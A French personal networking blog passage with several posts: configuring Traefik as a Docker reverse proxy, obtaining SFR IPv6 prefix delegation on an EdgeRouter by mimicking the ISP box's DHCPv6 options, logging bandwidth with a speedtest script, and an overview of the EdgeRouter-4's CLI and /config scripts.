#      "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384",
#      "TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305"
#    ]
  [entryPoints.nexus-registry]
  address = ":8082"
    [entryPoints.nexus-registry.tls]
    minVersion = "VersionTLS12"
    sniStrict = true
  [entryPoints.traefik]
  address = ":1443"
    [entryPoints.traefik.tls]
    minVersion = "VersionTLS12"
#    cipherSuites = [
#      "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256",
#      "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384",
#      "TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305"
#    ]

[acme]
email = "veovis@kveer.fr"
storage = "/etc/traefik/acme.json"
entryPoint = "https"
KeyType = "EC256"
acmeLogging = true
onHostRule = true

[acme.tlsChallenge]

[docker]
endPoint = "unix:///var/run/docker.sock"
domain = "home.kveer.fr"
watch = true
exposedByDefault = false

[api]
entryPoint = "traefik"
dashboard = true

Préparer Docker

Comme mentionné précédemment, j’utilise un réseau docker nommé dmz pour relier traefik avec les backends. A part le nom et un espace suffisamment grand, c’est un réseau tout ce qu’il y a de plus normal:

docker network create --subnet 172.16.0.64/26 dmz

Ajouter des backends Docker à traefik

Pour connecter un container à traefik, grâce à la configuration de traefik, tout se fait dans la définition même du container, au moyens de labels. Cela signifie que:

  • je n’ai pas besoin de toucher à la configuration principale de traefik
  • je n’ai pas besoin de redémarrer traefik

Par exemple voici la configuration de nginx sur la stack faisant marcher ce blog:

 

 

version: '3.5'

networks:
  dmz:
    external: true
    name: dmz
  internal:
    internal: false

services:
  nginx:
    image: nginx:alpine
    restart: unless-stopped
    depends_on:
      - app
    networks:
      dmz:
      internal:
    environment:
      TZ: Europe/Paris
    labels:
      traefik.frontend.rule: 'Host: blog.kveer.fr'
      traefik.backend: blog
      traefik.domain: kveer.fr
      traefik.protocol: h2c
      traefik.enable: true
      traefik.docker.network: dmz
      traefik.frontend.headers.STSPreload: true
      traefik.frontend.headers.STSSeconds: 315360000
    volumes:
      - ./app-files:/var/www/html
      - ./nginx.conf:/etc/nginx/conf.d/default.conf:ro
  [...]

Par défaut, le protocol utilisé pour communiquer avec le backend est http mais il est aussi possible de spécifier h2c ou https.

h2c est utilisé pour autoriser le HTTP2 sur un canal non-SSL. Considérant la connexion traefik ↔ nginx comme totalement fiable, cela me permet de bénéficier des atouts du HTTP2 sans le surcoût du chiffrement dû à la couche SSL.

https est aussi disponible, notamment lorsque le backend ne support QUE ce moyen de transport. C’est par exemple le cas de unms de Ubiquity.

Rediriger vers du non Docker

Bien que traefik s’interface très bien dans un monde pleins de containers, il est aussi capable de servir de reverse proxy vers des backends autre, par exemple mon NAS.

En effet traefik dispose de pleins de providers autre que Docker, dont File. Celui-ci permet de définir des frontends et backends à la main.

Par exemple pour proxifier la page web de mon NAS, j’ai simplement du déclarer un frontend et un backend dans le fichier de configuration de traefik.

[file]
[frontends]
  [frontends.nas]
  backend = "nas"
    [frontends.nas.routes.main]
    rule = "Host: mon-nas.home.kveer.fr"

[backends]
  [backends.nas]
    [backends.nas.servers]
      [backends.nas.servers.server0]
      url = "https://192.168.77.56:443"
      weight = 1

1 container, 2 backends

traefik sait aussi gérer des cas plus particuliers. Celui de nexus par exemple, qui est un gestionnaire de dépôt open-source. Nexus gère des dépôts de plusieurs type (docker, nuget…) et à ce titre nécessite des endpoints différents.

À l’aide d’une syntaxe étendue, traefik support la définition de plusieurs frontends et backends. Pour nexus, j’ai défini deux couples, web et registry, ayant chacun un frontend et un backend.

Cela permet de voir que traefik fonctionne vraiment comme un passe-plat :

  • le frontend, qui est un endpoint exposé par traefik pour accéder à un backend (ou plusieurs dans le cas d’une configuration en failover ou load-balancing)
  • un ou des backends, qui sont des endpoints que peut appeler traefik

 

version: '3.5'

networks:
  dmz:
    external: true
    name: dmz

services:
  nexus3:
    image: sonatype/nexus3
    restart: unless-stopped
    ulimits:
      nofile: 65536
    environment:
      INSTALL4J_ADD_VM_PARAMS: -Xms500m -Xmx500m -XX:MaxDirectMemorySize=2g -Djava.util.prefs.userRoot=/nexus-data/javaprefs
    labels:
      traefik.frontend.whitelist.sourceRange: "192.168.77.0/24"
      traefik.web.frontend.rule: 'Host: nexus.kveer.fr'
      traefik.web.port: 8081
      traefik.web.backend: nexus-web
      traefik.registry.frontend.rule: 'Host: nexus.kveer.fr'
      traefik.registry.port: 8082
      traefik.registry.backend: nexus-registry
      traefik.registry.frontend.entryPoints: nexus-registry
      traefik.domain: kveer.fr
      traefik.enable: true
      traefik.docker.network: dmz
      traefik.frontend.headers.STSPreload: true
      traefik.frontend.headers.STSSeconds: 315360000
    networks:
      - dmz
    volumes:
      - ./data:/nexus-data

On remarquera au passage l’utilisation du label traefik.frontend.whitelist.sourceRange, qui permet de restreindre l’accès à un frontend (ici tous ceux de nexus) à un subnet particulier.

Egalement l’ajout de l’en-tête HSTS avec les deux labels traefik.frontend.headers.STSPreload et traefik.frontend.headers.STSSeconds.

Parce qu’il faut bien râler

Au final traefik a entièrement rempli sa mission. Mais c’est un produit encore relativement jeune, notamment sur les points suivants :

  • impossibilité de demander un certificat RSA pour un frontend particulier (tout RSA ou tout ECDSA, pas de mix possible).
  • impossibilité d’autoriser un certificat invalide pour un backend particulier (tout ou rien ici encore)
  • parfois traefik ne voit pas le redémarrage d’un container, il faut alors le restarter à nouveau pour qu’il soit vu et intégré correctement

Cela dit, ce sont des points assez mineurs. traefik, je valide.

IPv6 sur EdgeRouter (Red by SFR / SFR)

Petit achievement aujourd’hui, j’ai réussi à avoir l’IPv6 de mon fournisseur d’accès directement depuis mon routeur EdgeRouter-4. Pour remettre en contexte, ma box SFR est dans son carton. Le seul équipement de SFR que j’utilise est l’ONT, qui converti un signal fibre en cuivre entre-autre.

Jusqu’à présent, j’utilisais un tunnel IPv6-in-IPv4 fourni par Hurricane. C’est gratuit, la bande passante est plutôt grosse, mais n’arrange sûrement pas à réduire la latence par rapport à une connectivité IPv6 directement fournie par l’opérateur (du moins, je pense).

Pourquoi ?

Avant de détailler comment j’ai fait, j’aimerais expliquer pourquoi je n’utilise pas la box de l’opérateur, après tout elle est gratuite et propose plein de fonctionalités, non ? C’est vrai mais… non, pour plein de raisons :

  • en matière de sécurité, je trouve totalement malsain d’avoir une box opérateur, propriété de l’opérateur, contrôlée par l’opérateur au sein de mon réseau local. L’utilisation d’un routeur sous mon contrôle évite une fuite des données vers l’opérateur. Distinction franche entre mon réseau local et le réseau opérateur.
  • si je change d’opérateur, je n’ai pas à reconfigurer mon réseau interne. Seul la patte WAN sera modifiée. J’ai zéro adhérence avec mes opérateurs Internet ou de téléphonie.
  • je n’ai plus de téléphone fixe et la merdasse télévisuelle ne m’encourage pas à utiliser le décodeur fournit. Au pire, il s’agit juste de VLAN à faire passer, donc là aussi la box n’est pas indispensable
  • j’ai vraiment plus de fonctionnalités avec mon routeur que toutes les box opérateurs réunies. Je peux monter un tunnel GRE, IPSec v2, avoir des routes conditionnelles etc… Il s’agit de fonctionnalités que j’utilise.
  • Ca marche (avez-vous déjà utilisé l’interface d’administration de la box Orange) ?
  • Ca marche vraiment. Impossible de faire fonctionner un tunnel IPSec le plus bidon possible en utilisant la box Orange.
  • Ca marche même sous stress, là où la box opérateur plante avec un simple DoS (désolé Nunzz ^^ »)

Il est clair que remplacer sa box n’est pas à la portée de tout le monde, mais rien que pour la fiabilité, ça donne envi.

Mimer la box opérateur

Le plus simple pour trouver comment faire est encore d’analyser la communication entre la box opérateur et le réseau opérateur. Cela tombe bien, j’avais justement un switch manageable ce qui m’a permis de mettre en place un port mirroring et ainsi pouvoir sniffer le traffic depuis mon pc portable en live.

Contrairement à ce que j’avais lu ici ou , j’ai été ravi de lire que l’obtention d’un bloc IPv6 se fait de manière non seulement simple mais suivant les standards (enfin presque) ! En effet, le bloc IPv6 s’obtient via le protocole DHCPv6 en 4 messages :

  • SOLICIT: le client hurle (broadcast) à la recherche d’un serveur DHCP
  • ADVERTISE: un serveur DHCP répond à l’aide
  • REQUEST: le client souhaite obtenir une délégation sur un bloc IPv6
  • REPLY: le serveur, tout aimable qu’il est, répond positivement à la requête

Capture de la requête DHCPv6
Capture de la requête DHCPv6

Bloc IPv6 vs IPv4

De prime abord, le processus pour obtenir une IPv6 semble plus compliquée. Cette apparente complexitée s’explique par le fait qu’il n’y a pas de NAT en IPv6 (enfin si mais on va supposer que non). Cela signifie que tout équipement souhaitant aller sur Internet ne peut pas utiliser l’IP du routeur, comme cela se fait en IPv4 mais doit avoir sa propre IPv6 routable. Routable par opposition à une IPv6 privée (commençant par fe80:) qui pourrait être l’équivalent du 192.168.x.y en IPv4.

Pour répondre à cette problématique d’IP routable, on a deux choix de réseaux :

  • il n’y a plus de réseau local, uniquement le réseau de l’opérateur dont vous et tout vos équipements font parti. Cette solution n’est absolument pas raisonnable tant pour l’usager que pour l’opérateur d’un point de vue de la sécurité.
  • le réseau local de chaque utilisateur et le réseau opérateur, séparés par un routeur

La solution retenue est bien entendue la seconde. Sans IP routable, la communication d’un périphérique est limitée à son réseau local. L’obtention d’une IPv6 se fait donc par un appareil se trouvant lui aussi dans le réseau local, c’est à dire la box opérateur.

Cette box va donc demander à l’opérateur quels sont les IPs qu’il peut distribuer en local, c’est le prefix delegation (PD). L’opérateur fournit à chaque box, qui en fait la demande, une délégation sur un préfixe IPv6 (ou bloc IPv6), ce qui va permettre deux choses :

  • la box va pouvoir distribuer une IP dans ce pool aux objects connectés
  • ce bloc sera routé depuis Internet vers la box (pinger une IP de ce pool va arriver sur le routeur, qui forwardera (ou pas) le paquet)

Patcher Wide-DHCPv6

L’OS EdgeMax est tout à fait en mesure de gérer intégralement la stack IPv6, au moins en CLI vu que la GUI tarde à le gérer proprement. En tant que client DHCPv6, il utilise wide-dhcpv6 pour obtenir une prefix delegation. Là où ça coince, est que le serveur attend deux informations qu’il n’est pas possible de setter dans la configuration de wide-dhcpv6 :

  • le client identifier (option 1) avec un DUID de type 3 (link-layer adress) et non 1 (link-layer adress plus time). Ce pré-requis est obligatoire. Actuellement la valeur est l’adresse mac de la box côté LAN mais pour plus de sûreté, prenez la valeur indiquée dans la capture
  • le vendor class (option 16) qui est l’id du modèle de la box. Il s’agit d’un paramètre optionnelle pour le moment.

Requête DHCPv6 avec les deux options à reproduire
Détail de la requête DHCPv6

Vu que Ubiquiti est respectueux de la licence GPL, j’ai pu récupérer le code source patché de wide-dhcpv6 et commencer à travailler me casser les dents dessus.

Fixer les bugs n’étaient pas une mince affaire. Le EdgeRouter fonctionne sous une architecture MIPS. J’ai donc du monter une vm avec qemu, elle-même dans une VM linux puisque je suis sous Windows, afin de pouvoir compiler la chose. Le débuggage avait comme un arrière goût des années 80 : une compilation qui prend 15 minutes à chaque fois et des outils franchement pas pratique, genre gdb. Et une doc complètement inexistante bien entendu, avec des noms de variables incompréhensible. Au-secours !

Mais j’ai fini par me sortir de ce sable mouvant, voici donc les patches ubnt-wide-dhcpv6-201.tar

Comme c’est ultra chiant à compiler, voici également le binaire à glisser à la place de /usr/sbin/dhcp6c sur le routeur.

Au passage, Ubuntu sous Hyper-v Gen 2, ça marche 🙂

Configurer le Edgerouter

Il va falloir au préalable récupérer quelques informations contenues dans la capture faite précédemment. Elles sont indispensables pour pouvoir configurer proprement le EdgeRouter :

  • le DUID dans le message SOLICIT
  • le vendor class value dans le message SOLICIT
  • le prefix

Il y a 3 sections à configurer :

  • le dhcpv6 pour obtenir un préfixe côté WAN
  • le radvd (router-advert) pour distribuer les préfixes côté LAN
  • l’override de l’adresse mac de l’interface WAN

Ci-dessous ma configuration EdgeRouteur :

interfaces {
    ethernet eth0 {
        address 192.168.x.254/24
        address 2a02:8428:xx:xx00::ff/64
        description lan0
        ...
        ipv6 {
            dup-addr-detect-transmits 1
            router-advert {
                cur-hop-limit 64
                link-mtu 0
                managed-flag true
                max-interval 600
                name-server 2a02:8428:xx:xx::ff
                other-config-flag false
                prefix 2a02:8428:xx:xx::/64 {
                    autonomous-flag true
                    on-link-flag true
                    preferred-lifetime 14400
                    valid-lifetime 28800
                }
                reachable-time 0
                retrans-timer 0
                send-advert true
            }
        }
    }
    ethernet eth2 {
        address dhcp
        description wan0
        ...
        dhcpv6-pd {
            duid 00030001e45d41dexxxx
            no-dns
            pd 1 {
                interface eth0 {
                    prefix-id 1
                }
                prefix-length 56
            }
            prefix-only
            rapid-commit disable
        }
        mac e4:5d:41:de:xx:xx
    }
}

SFR distribue un préfix /56. Un réseau local avec radvd utilise un préfix en /64. Cela signifie que vous pouvez avoir 256 réseaux locaux. Récupérez le préfixe distribué par SFR (depuis la box par exemple) et choisissez un sous-préfixe en /64 pour votre LAN. C’est ce qu’il faudra renseigner dans interfaces -> ethernet ethx -> ipv6 -> router-advert -> prefix.

Fixez également l’IPv6 de l’interface LAN du routeur, afin de pouvoir spécifier un serveur DNS qui écoute sur la stack IPv6, c’est le paramètre interfaces -> ethernet ethx -> ipv6 -> router-advert -> name-server.

Enfin remplacer l’adresse mac de l’interface WAN par celle de l’opérateur. Ce n’est pas obligatoire mais devrait mieux supporter les évolutions du réseau de l’opérateur.

Afin de mieux mimer les requêtes DHCPv6 (et parce que de toute façon il n’est pas possible de générer le bon fichier de conf en cli), on va écraser complètement le fichier généré par la section dhcpv6-pd par notre propre version.

# interface wan
interface eth2 {
        request domain-name-servers, domain-name;
        duid 00:03:00:01:e4:5d:41:de:xx:xx;
        send ia-pd 1;
        # récupéré par le sniff, il s'agit de mettre la valeur brute du vendor class
        send raw-option 16 00:00:a0:0c:00:40:6e:65:75:66:62:6f:78:5f:4e:42;
        script "/opt/vyatta/sbin/ubnt-dhcp6c-script";
};

id-assoc pd 1 {
        prefix ::/0 0 0;
        # interface lan
        prefix-interface eth0 {
                sla-id 1;
                sla-len 8;
        };

        # interface lab
        prefix-interface eth0.213 {
                sla-id 213;
                sla-len 8;
        };
};

Je donne ici un exemple où je récupère un préfix en /56 de SFR et j’assigne deux /64 pour mes deux réseaux locaux :

  • eth0, qui est le réseau principal
  • eth0.213 qui est mon réseau lab

Cela permet de mettre en évidence le rôle des paramètres sla-id et sla-len. sla-len est la différence entre le /56 donné par l’opérateur et le /64 que j’assigne à un réseau, soit 64-56=8.

sla-id est de longeur sla-len, il peut donc avoir une valeur entre 0 et 255 inclus. C’est le nombre qui sera suffixé au préfix. Par exemple mon préfixe donné est 2a02:8428:1234:3300::/56. Alors :

  • avec un sla-id de 1, le subnet de eth0 sera 2a02:8428:1234:3301::/64
  • avec un sla-id de 213, le subnet de eth0.213 sera 2a02:8428:1234:33d5::/64

Il ne reste plus qu’à rendre la configuration et le binaire persistent, à l’aide de /config/user-data et d’un petit script de restauration. Jetez un oeil à mon article de présentation de l’ER-4 pour se faire.

Plus

Ca marche aussi avec Sosh / Orange. Il faudra sniffer le traffic entre la box et l’ONT afin de récupérer les bonnes options et valeurs.

Source

Repérer un bridage opérateur

Les opérateurs Internet nous proposent des connexions fibres jusqu’à 1GB/s pour 15€/mois. Et cela sans engagement. Dès l’installation, on constate souvent que l’annonce est respectée. Alors oui, l’opérateur pourrait annoncer des débits jusqu’à 1TB/s, tant qu’il y a du débit, il ne ment pas techniquement. Mais est-on loin de ce qui est vendu ?

Quand le lièvre devient tortue…

21 mai 2018, j’ai la fibre chez moi depuis à peine deux semaines ainsi qu’un routeur qui envoi du bois. nperf m’annonce 851,69Mb/s en descendant et 201.47Mb/s en montant. Deal honoré. Fin septembre, je refais la mesure et là j’obtiens 500Mb/s en descendant et 170Mb/s en montant. Histoire d’être sûr, les mesures ont bien entendues été effectuées plusieurs fois sur plusieurs jours. De 85% de débit effectif, je suis donc passé avec les mois à 50% seulement. Pour le paysan que je suis, je n’ai aucune garantie minimale de débit, mais quand même ! Est-ce passager, est-ce que les équipements de l’opérateur sont en souffrance ?

Mi-octobre, changement d’opérateur. Je passe de SFR RED à SFR RED avec le même abonnement. Le payeur est différent mais SFR refuse explicitement un transfert de contrat, d’où changement, pose d’un jour de congé et réception de nouvelles box (même modèle) par le technicien. Je précise pour la suite qu’à part l’ONT (convertisseur signal optique en signal Ethernet), rien n’a changé. Même routeur, même câble optique et je n’ai pas été recâblé au niveau du PMZ (l’armoire verte dans la rue).

Le test sur la « nouvelle » connexion me donne 801Mb/s en descendant et 121Mb/s en montant.

Excuse me, what the fuck?
Excuse me, what the fuck?

la tortue deviEnt scribe

Je me suis donc mis à mesurer régulièrement la qualité de ma connexion Internet. Il existe pour cela une version en ligne de commande de speedtest. Accompagné d’un petit script que voici et alimentant un fichier au format CSV, nous allons donc avoir du quantitatif, qu’on pourra visualiser avec par exemple un simple fichier Excel.

#!/bin/sh

# csv header: date;srv_id;ping ms;download Mbit/s;upload Mbit/s
sfr_id=12746
orange_id=5559
stat_file=/docker/speedtest/stats

cd /docker/speedtest
docker build . -t speedtest

test_server() {
        srv_id=$1

        output=$(mktemp)
        date=$(date -u +"%Y-%m-%d %H:%M:%S")
        docker run --rm speedtest speedtest-cli --simple --server $srv_id > "$output"

        [ $? -ne 0 ] && return 0

        ping=$(grep -i ping "$output" | awk '{print $2}')
        download=$(grep -i download "$output" | awk '{print $2}')
        upload=$(grep -i upload "$output" | awk '{print $2}')

        echo "$date;$srv_id;$ping;$download;$upload" >> "$stat_file"
        rm "$output"
}

test_server $sfr_id
test_server $orange_id

Pour que mes systèmes restent propres, j’utilise une bête image docker contenant le binaire speedtest-cli.

FROM alpine:3.8

RUN set -xe; \
        apk add --no-cache speedtest-cli; \
        ln -s /usr/bin/python3 /usr/bin/python

Il ne reste plus qu’à ajouter le script dans crond et c’est parti.

Le fichier CSV ressemble à :

2018-10-15 10:08:23;5559;6.663;695.91;3.90
2018-10-15 10:36:36;5559;6.831;666.60;3.90
2018-10-15 11:36:38;12746;6.947;769.32;160.76
2018-10-15 11:36:52;5559;6.429;642.82;3.90
2018-10-15 12:00:00;12746;56.589;742.26;127.92
2018-10-15 12:00:20;5559;113.275;672.58;2.83
2018-10-15 12:15:00;12746;6.846;801.72;121.96
2018-10-15 12:15:16;5559;7.419;789.92;3.90
2018-10-15 12:30:00;12746;7.026;692.93;165.77
2018-10-15 12:30:14;5559;71.546;607.98;3.90
2018-10-15 12:45:00;12746;6.771;721.19;150.37
2018-10-15 12:45:15;5559;6.374;563.57;3.90
2018-10-15 13:00:02;5559;7.15;618.68;1.02
2018-10-15 13:15:02;5559;6.53;585.39;3.90
2018-10-15 13:30:02;5559;6.552;420.60;3.90
2018-10-15 13:45:02;5559;6.606;662.53;3.91
2018-10-15 14:00:00;12746;6.656;707.32;134.54
2018-10-15 14:00:16;5559;69.199;586.36;3.12

On y trouve respectivement :

  • la date UTC,
  • l’id du serveur avec lequel s’est fait le test de débit
  • le ping moyen en ms
  • le débit descendant en Mb/s
  • le débit montant en Mb/s

Pour ma part, j’ai testé avec le serveur le plus proche, et le serveur de mon opérateur le plus proche.

Note: il faudra peut-être passer un coup de sed pour corriger le séparateur de décimales avant de faire avaler le fichier par Excel.

EdgeRouter 4

J’ai enfin eu la fibre ! après avoir bataillé avec notre syndic et la mairie pour pousser SFR à fibrer l’immeuble pendant plusieurs année ! On pourra dire que SFR a pris son temps. Me voilà donc avec une offre fibre à 1GB/s descendant et 200MB/s montant et un APU, mon ancien routeur, aux abois. En effet un speed test avec la box opérateur me donne un débit réel (mais non-garanti) de 830MB/s descendant, 260MB/s montant et un ping à 10ms, c’est un résultat très honorable par rapport à l’offre commerciale. Avec l’APU en revanche il m’est plus que difficile de dépasser le 300MB/s en descendant, ce qui se voit assez bien avec un htop montrant que le CPU est complètement à genou.

J’ai du coup craqué sur un EdgeRouter 4 de chez Ubiquiti pour remplacer mon APU et bien évidemment laisser la box SFR au placard. Uniquiti propose des produits que je trouve assez intéressant :

  • la cible sont les professionnels et éventuellement les particuliers bidouilleurs dont je fais parti
  • le matériel contient des circuit dédiés permettant de décharger le processeur des opérations réseaux, DPI et IPSec
  • la consommation est très faible : seulement 13W sur ce modèle
  • le logiciel est ouvert à la modification (dans le sens : il peut faire bien plus que ce qu’à prévu initialement le fabricant)
  • il est doté d’un port console pour pouvoir réparer le boitier même quand on a tout cassé
  • la partie logicielle repose entièrement sur une stack Debian, sur lequel Ubiquiti a rajouté une interface web et en ligne de commande pour piloter le boitier.
  • le prix est plus que raisonnable au vu de la qualité du matériel et de l’efficacité

EdgeRouter ou APU ?

Honnêtement c’est un petit bijou. Initialement j’avais pris une carte APU pour être au commande de tout. Le EdgeRouter respecte cela en tout point :

  • on peut rajouter ou enlever des daemons
  • eventuellement il est possible de compiler un logiciel et le faire exécuter par le EdgeRouter, en gardant à l’esprit que le CPU n’est pas non plus un i7 dernier cri
  • tous les services sont open-source, la partie propre à EdgeRouter étant la couche de gestion. Ainsi on retrouve dhcpd, dnsmasq, openssh, iptables, ipsec, radvd, strongswan, python, ddclient, dhclient, le kernel linux, busybox, monit, ntpd…
  • les backups sont totalement consistentes avec la CLI

Je me retrouve donc avec un système opérationnel robuste et plus simple à gérer et sur lequel je ne suis pas limité autrement que par les capacités matérielles.

J’ai listé dans le dernier paragraphes les articles qui m’ont aidé à modifier le router selon mon goûts et vais détaillé comment fonctionne un routeur Ubiquiti.

Les fondations du EdgeRouter

Comme je l’ai indiqué en introduction, le routeur repose sur une base totalement open-source :

root@ubnt /config # cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 7 (wheezy)"
NAME="Debian GNU/Linux"
VERSION_ID="7"
VERSION="7 (wheezy)"
ID=debian
ANSI_COLOR="1;31"
HOME_URL="http://www.debian.org/"
SUPPORT_URL="http://www.debian.org/support/"
BUG_REPORT_URL="http://bugs.debian.org/"

Pour être plus précis, l’OS en question est EdgeOS, qui est un fork de Vyatta, lui-même basé sur Debian.

Pour des soucis d’efficacité énergétique, le CPU utilisé, un quad-core, repose sur une architecture mips64 (tout, mips ou arm, sera plus efficient que l’archi x86/amd64) :

root@ubnt /config # cat /proc/cpuinfo
system type             : UBNT_E300
machine                 : Unknown
processor               : 0
cpu model               : Cavium Octeon III V0.2  FPU V0.0
BogoMIPS                : 2000.00
wait instruction        : yes
microsecond timers      : yes
tlb_entries             : 256
extra interrupt vector  : yes
hardware watchpoint     : yes, count: 2, address/irw mask: [0x0ffc, 0x0ffb]
isa                     : mips1 mips2 mips3 mips4 mips5 mips64r2
ASEs implemented        : vz
shadow register sets    : 1
kscratch registers      : 4
core                    : 0
VCED exceptions         : not available
VCEI exceptions         : not available

il existe quelques modules propriétaires (du moins, je n’ai pas réussi à trouver où étaient les codes sources) permettant de faire appels aux différents circuits d’accélération matérielle :

root@ubnt /config # lsmod
[...]
cvm_ipsec_kame         38319  0
ipv6                  381814  71 sit,ip6table_mangle,nf_defrag_ipv6,cvm_ipsec_kame,xfrm6_mode_tunnel,nf_conntrack_ipv6
imq                     6736  0
cavium_ip_offload     176733  0
ubnt_nf_app            10668  1 cavium_ip_offload
tdts                  572293  2 cavium_ip_offload,ubnt_nf_app
octeon_rng              1890  0
rng_core                4168  2 octeon_rng
ubnt_platform        2528991  0

La surcouche Ubiquiti

Le EdgeRouter peut se gérer de 4 manières différentes :

  • par l’interface web
  • par l’interface en ligne de commande (CLI)
  • directement en ssh comme dans toute distribution Linux, avec le risque de voir ses changements écrasés par la configuration de l’interface web/cli ou par un reboot
  • grâce à /config

L’interface web est assez limitée en comparaison de la CLI mais pourra convenir à un usage très simple ou très standard. Personnellement je la trouve trop limitée ce qui la rend un peu inutile à mon goût si ce n’est voir visuellement le traffic en temps réel et la santé générale du système.

Dashboard EdgeRouter
Dashboard EdgeRouter

La CLI

La ligne de commande est accessible soit via l’interface Web (en haut à droite), soit via SSH, que je trouve de loin plus pratique à une émulation de console à travers une page web.

Il existe 3 modes à la CLI :

  • les commandes bash habituelles
  • show, permettant de consulter différentes informations au runtime
  • configure, permettant d’accéder à la configuration du routeur

Il est inutile que je détaille le premier mode, il s’agit juste de bash. Exactement il s’agit de vbash, pour lequel l’auto-complétion des fichiers et dossiers ne fonctionnent pas. Sans chercher plus loin, un sudo su me permet de retrouver un bash « normal ». Les deux autres modes en revanches sont la spécificité de EdgeOS et sont assez facile à prendre en main. En effet elles sont dotées de l’auto-complétion : un simple TAB-TAB permet d’afficher les sous-commandes possibles.

show Show

Chow chow

La commande show permet de récupérer un certain nombre d’informations sur le routeur à travers une interface unifiée (un truc complètement raté dans le monde de l’open-source) :

veovis@ubnt ~ $ show<TAB><TAB>
arp                  cspf                 firewall             interfaces           login                queueing             system               upnp2
bfd                  date                 flow-accounting      ip                   mpls                 reboot               tech-support         users
bgp                  debugging            flow-accounting-ipt  ipv6                 nat                  route-map            traffic-control      version
bi-lsp               dhcp                 hardware             ldp                  ntp                  rsvp                 ubnt                 vpls
bridge               dhcpv6               history              lldp                 openvpn              shutdown             udapi                vpn
configuration        dhcpv6-pd            host                 load-balance         pppoe-client         snmp                 unms                 vrrp
conntrack            dns                  incoming             log                  pppoe-server         ssh-recovery         update               webproxy

veovis@ubnt ~ $ show ubnt<TAB><TAB>
discover         discover-server  offload
veovis@ubnt ~ $ show ubnt <TAB>
Possible completions:
  discover      Show UBNT discovered devices
  discover-server
                Show UBNT discover server state
  offload       Show UBNT offload status


veovis@ubnt ~ $ show ubnt offload

IP offload module   : loaded
IPv4
  forwarding: enabled
  vlan      : disabled
  pppoe     : disabled
  gre       : disabled
IPv6
  forwarding: enabled
  vlan      : disabled
  pppoe     : disabled

IPSec offload module: loaded

Traffic Analysis    :
  export    : enabled
  dpi       : enabled
    version       : 1.354

On peut ainsi explorer facilement tout ce que peux offrir show et les sous-commandes étant relativement explicite, deviner la bonne commande est plutôt aisé.

configure

De manière similaire à la commande show, le mode configure est aussi doté de la même d’auto-complétion. On rentre dans ce mode simplement en exécutant configure.

On peut alors

  • show: consulter tout ou partie de la configuration
  • set: modifier un paramètre
  • commit: appliquer les changements effectués de manière non-persistante (perdu au prochain redémarrage)
  • save: persister la configuration
  • edit: peut être vu comme une sorte de « cd subSection »
  • exit: remonter d’un cran (aka « cd .. ») ou quitter le mode configure si l’on est déjà au top-level

Ci-dessous un exemple mettant en évidence la commande edit, laquelle permet d’utiliser show ou set sans devoir spécifier le chemin du paramètre entier, edit permettant de changer de contexte ou de descendre dans l’arborescence. Ainsi plutôt que d’avoir à taper show interfaces ethernet eth2 , le edit interfaces  me permet de ne taper que show ethernet eth2 pour avec le même résultat.

veovis@ubnt# show interfaces ethernet eth2
 address dhcp
 description wan0
 dhcp-options {
     client-option "send vendor-class-identifier &quot;neufbox_NB6VAC-FXC-r0_NB6VAC-MAIN-R4.0.35_NB6VAC-XDSL-A2pv6F039p&quot;;"
     default-route update
     default-route-distance 210
     name-server update
 }
 duplex auto
 firewall {
     local {
         name WAN_LOCAL
     }
 }
 speed auto
[edit]
veovis@ubnt# edit interfaces
[edit interfaces]
veovis@ubnt# show ethernet eth2
 address dhcp
 description wan0
 dhcp-options {
     client-option "send vendor-class-identifier &quot;neufbox_NB6VAC-FXC-r0_NB6VAC-MAIN-R4.0.35_NB6VAC-XDSL-A2pv6F039p&quot;;"
     default-route update
     default-route-distance 210
     name-server update
 }
 duplex auto
 firewall {
     local {
         name WAN_LOCAL
     }
 }
 speed auto
[edit interfaces]
veovis@ubnt# exit
[edit]
veovis@ubnt#

Ubiquiti a fait preuve d’ingéniosité en concevant le fichier de configuration se trouvant dans /config/config.boot . Il s’agit d’un fichier texte lisible dans un format similaire à du JSON. On remarque que ce fichier respecte la même hiérarchie que le mode configure. Par cette simple idée, s’approprier la logique du mode configure devient un vrai jeu d’enfant. Il s’agit aussi du config tree que l’on trouve dans l’interface web.

/config

Dernier petit bijou, le dossier /config . Contrairement au reste, le contenu de ce dossier sera préservé à travers une mise à jour du firmware. Grosso-modo, toutes nos bidouilles doivent se trouver ici.

root@ubnt /home/veovis # ls -lh /config/
total 44
drwxrwsr-x    3 root     vyattacf    4.0K May 21 17:52 auth
-rw-rw-r--    1 root     vyattacf   15.8K Jul  7 14:58 config.boot
-rw-r--r--    1 root     vyattacf    2.0K Jul 29 15:17 dhcpd.leases
drwxrwsr-x    4 root     vyattacf    4.0K May 21 17:05 scripts
drwxrwsr-x    2 root     vyattacf    4.0K Apr 26 20:09 support
drwxr-xr-x    2 root     root        4.0K Apr 26 19:25 udapi-bridge
drwxr-sr-x    3 root     vyattacf      33 Jun 22 19:30 url-filtering
drwxrwsr-x    5 root     vyattacf    4.0K May 28 20:33 user-data
drwxr-sr-x    3 www-data vyattacf    4.0K May 21 15:45 wizard

On va y trouver :

  • le fichier de configuration /config/config.boot
  • les scripts de post-initialization dans /config/scripts/post-config.d/
  • les autres fichiers à garder dans /config/user-data/

Les scripts initialisation m’ont servi entre autres à :

  • ajouter des paquets supplémentaire (nsd3, htop, screen, unbound)
  • remplacer dnsmasq par unbound
  • ajouter des daemons supplémentaires
  • configurer unbound et autres en copiant /config/user-data/root/ dans /

Script me permettant d’installer des paquets supplémentaires :

#!/bin/bash

packages='screen unbound nsd htop'
doneit='/var/lib/my_packages'

if [ -e $doneit ]; then
        exit 0
fi

mount -t tmpfs -o size=30% tmpfs /var/lib/apt/lists
if [ $? != 0 ]; then
        echo Could not mount tmpfs on /var/lib/apt/lists
        exit 1
fi

apt-get update
apt-get --no-install-recommends install -y $packages

if [ $? == 0 ]; then
        echo Package install successful
        touch $doneit
else
        echo Package install failed
fi

umount /var/lib/apt/lists
exit 0

Script permettant la fusion de /config/user-data/root/ dans / et effectuant d’autres opérations spécifiques :

#!/bin/bash

# to be stored into /config/scripts/post-config.d/10_restore-custom.sh
config_root=/config/user-data/root/

# custom PS1
